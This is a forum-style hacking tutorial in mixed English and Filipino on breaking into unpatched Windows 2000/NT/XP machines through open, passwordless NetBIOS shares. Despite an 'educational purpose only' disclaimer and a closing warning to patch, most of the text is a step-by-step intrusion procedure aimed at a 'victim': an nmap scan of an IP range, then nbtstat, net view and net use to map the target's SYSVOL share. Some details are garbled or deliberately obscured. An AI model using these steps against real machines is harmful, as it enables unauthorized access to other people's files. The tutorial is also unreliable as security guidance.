Netbios Tutorial

Here is a common hacking techniques used by some hacker ..



This is for educational purpose only, this hack works with unpatched version of Windows 2000/NT/XP. (only works if the shared drive that has no password set by administrator)



Step 1:

-Get a IP (range) scanner.

-Scan the victim's ip on TCP/IP port 1XX (i put some XX in the port number so as di cya magaya for actual testing)



Most port scanners (nmap being the most prominent example) correctly

report ports as either open, closed or filtered.

"Mahirap" o hard to find some open port open these days because of firewall (sa patched windows)enable that will either "filtered or closed" ang port if u used ip scanner..



What is filtered or closed port?

Use an analogy of the cops coming to your place and looking for you. Having a filtered port is like them knocking on the door, and you saying "I'm not here". Having a closed port is like them knocking on the door, and no one answering. With a filtered port, you know there is an active system behind that port.

As far as from a security standpoint, to most hackers, when they see closed they don't think of a firewall, they think the service is just not running. When I see filtered, and its a port I want to get to, I instantly think, oh, ok, is there some backdoor I can punch thru the firewall? Can I DOS the firewall? Can I remotely administer the firewall?



Step 1.1

-Open a dos prompt

-Do this by going to start/run

-Type cmd

When you are already in DOS command prompt type

-NMAP -v -p 159 77.106.2.1-110 (example target ip range)

-when you got an open port proceed to step 2



Step 2

This is what you need to type down:

Replace 255.255.255.255 with the victims IP address.



c:\windows>nbtstat -a 255.255.255.255



If you see this your in:

Step 3

type down:



c:\windows>net view \\255.255.255. 255







Step 4

type down:

c:\windows>net use x: \\255.255.255. 255\SYSVOL

(you can replace x: by anything letter you want but not your own drive

letters.)



Note:SYSVOL is the name of the shared harddrive.



If the command is successful we will get the confirmation.



The command was completed successfullly.



Bingo your inside the system now..



You can now execute any dos command e.g. x:\dir

(you will experience a lag in the system since it is a remote computer)



Now open windows explorer or just double click on the My Computer icon

on your desktop and you will see a new network drive X:\> . Now your are a

hacker.

This tutorial is warning for those who have old OS like unpatched XP,NT,2000..always protect ur system..upgrade ur o system.. ..protect your port specially port 139..Remember Hacking other`s comp is stealing..